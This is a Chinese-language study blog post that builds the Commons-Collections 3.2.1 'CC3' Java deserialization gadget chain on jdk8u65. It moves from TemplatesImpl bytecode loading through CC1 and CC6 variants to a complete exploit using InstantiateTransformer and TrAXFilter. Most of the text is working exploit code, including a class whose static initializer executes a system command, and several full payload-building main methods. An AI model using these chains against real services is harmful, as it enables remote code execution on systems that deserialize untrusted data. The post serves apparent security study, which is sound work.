环境:
- jdk8u65
- Commons-Collections 3.2.1
导入maven坐标:
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
TemplatesImpl解析:
在之前写的java中类加载器的过程中,有使用到TemplatesImpl
这个类的ClassLoader
方法,调用了ClassLoader
的defineClass
方法,并且是public,相当于我们可以间接调用。
由于这个_class
强转成了AbstractTranslet
,因此传入的字节码应该是要继承AbstractTranslet
的。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public class Calc extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class")); setFiled(templates, "_name", "Calc"); setFiled(templates, "_bytecodes", new byte[][]{bytes}); setFiled(templates, "_tfactory", new TransformerFactoryImpl()); templates.newTransformer(); }
public static void setFiled(TemplatesImpl templates, String filedName, Object value) throws Exception { Field declaredField = templates.getClass().getDeclaredField(filedName); declaredField.setAccessible(true); declaredField.set(templates, value); }
|
回顾完TemplatesImpl
正式进去cc3学习。
一般字节码解析的过程是这样的。

首先调用loadClass()
,分别调用父类的loadClass
看是否存在该类的解析器(双亲委派机制),如果找不到则会调用findClass
。
对于findClass
方法:
- 需要子类去实现该方法
- 根据提供的路径或名称去加载
.class
字节码,最终调用defineClass

TemplatesImpl结合cc1链:
前面的链子一样,但是不调用Runtime
类,而是调用自定义的class
字节码,然后加载类。

换成ChainedTransformer
调用newTransformer
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class")); setFiled(templates, "_name", "Calc"); setFiled(templates, "_bytecodes", new byte[][]{bytes}); setFiled(templates, "_tfactory", new TransformerFactoryImpl()); Transformer[] transformers = { new ConstantTransformer(templates), new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(1); }
public static void setFiled(TemplatesImpl templates, String filedName, Object value) throws Exception { Field declaredField = templates.getClass().getDeclaredField(filedName); declaredField.setAccessible(true); declaredField.set(templates, value); }
|
然后我们把cc1的LazyMap
的那条链丢进去,进行序列化即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class")); setFiled(templates, "_name", "Calc"); setFiled(templates, "_bytecodes", new byte[][]{bytes}); setFiled(templates, "_tfactory", new TransformerFactoryImpl()); Transformer[] transformers = { new ConstantTransformer(templates), new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map decorateMap = LazyMap.decorate(map, chainedTransformer); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> aClassDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); aClassDeclaredConstructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) aClassDeclaredConstructor.newInstance(Override.class, decorateMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
Object aObejct = aClassDeclaredConstructor.newInstance(Target.class, proxyMap); SerializeUtil.serialize(aObejct); }
public static void setFiled(TemplatesImpl templates, String filedName, Object value) throws Exception { Field declaredField = templates.getClass().getDeclaredField(filedName); declaredField.setAccessible(true); declaredField.set(templates, value); }
|
TemplatesImpl结合cc6链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class")); setFiled(templates, "_name", "Calc"); setFiled(templates, "_bytecodes", new byte[][]{bytes}); setFiled(templates, "_tfactory", new TransformerFactoryImpl()); Transformer[] transformers = { new ConstantTransformer(templates), new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}) }; ChainedTransformer factory = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap,new ConstantTransformer("asd"));
HashMap<Object, Object> expHashMap = new HashMap<>(); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
expHashMap.put(tiedMapEntry, 0);
lazyMap.remove("key");
Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryFiled = lazyMapClass.getDeclaredField("factory"); factoryFiled.setAccessible(true); factoryFiled.set(lazyMap,factory);
SerializeUtil.serialize(expHashMap); SerializeUtil.unSerialize(); }
public static void setFiled(TemplatesImpl templates, String filedName, Object value) throws Exception { Field declaredField = templates.getClass().getDeclaredField(filedName); declaredField.setAccessible(true); declaredField.set(templates, value); }
|
正经,原味cc3:
查看newTransformer
方法,谁调用了发现好几个

存在几个类调用这个newTransformer
方法,但是我们主要用TrAXFilter
Process:在_main中,一般不会调用吧。
getOutProperties:是反射调用的方法,可能在fastjson漏洞里面会调用到。
TransformerFactoryImpl :这个没有点搞头,因为它不能序列化,构造函数传参有点难。
TrAXFilter:也是不能序列化的。但是构造函数传参容易。
这调用了Templates
形参的newTransformer
,其他的都是静态成员的值。

CC3调用链不再依赖InvokerTransformer
,而是换了一个类InstantiateTransformer
这个类是可以序列化的:

查看transform
方法,主要逻辑判断传入是否是Class
类型,如果是的是则调用该Class
的构造方法,并且创建了一个实例。

所以我们的思路是使用这个调用InstantiateTransformer
的构造函数,形参传入的是Templates
,就会调用newTransformer
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class")); setFiled(templates, "_name", "Calc"); setFiled(templates, "_bytecodes", new byte[][]{bytes}); setFiled(templates, "_tfactory", new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class); }
public static void setFiled(TemplatesImpl templates, String filedName, Object value) throws Exception { Field declaredField = templates.getClass().getDeclaredField(filedName); declaredField.setAccessible(true); declaredField.set(templates, value); }
|
后续就很简单的,调用transform
方法,因此使用cc1后半段的链即可。
完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class")); setFiled(templates, "_name", "Calc"); setFiled(templates, "_bytecodes", new byte[][]{bytes}); setFiled(templates, "_tfactory", new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer };
HashMap<Object, Object> map = new HashMap<>(); ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map decorateMap = LazyMap.decorate(map, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> aClassDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); aClassDeclaredConstructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) aClassDeclaredConstructor.newInstance(Override.class, decorateMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
Object aObejct = aClassDeclaredConstructor.newInstance(Target.class, proxyMap);
SerializeUtil.unSerialize(); }
public static void setFiled(TemplatesImpl templates, String filedName, Object value) throws Exception { Field declaredField = templates.getClass().getDeclaredField(filedName); declaredField.setAccessible(true); declaredField.set(templates, value); }
|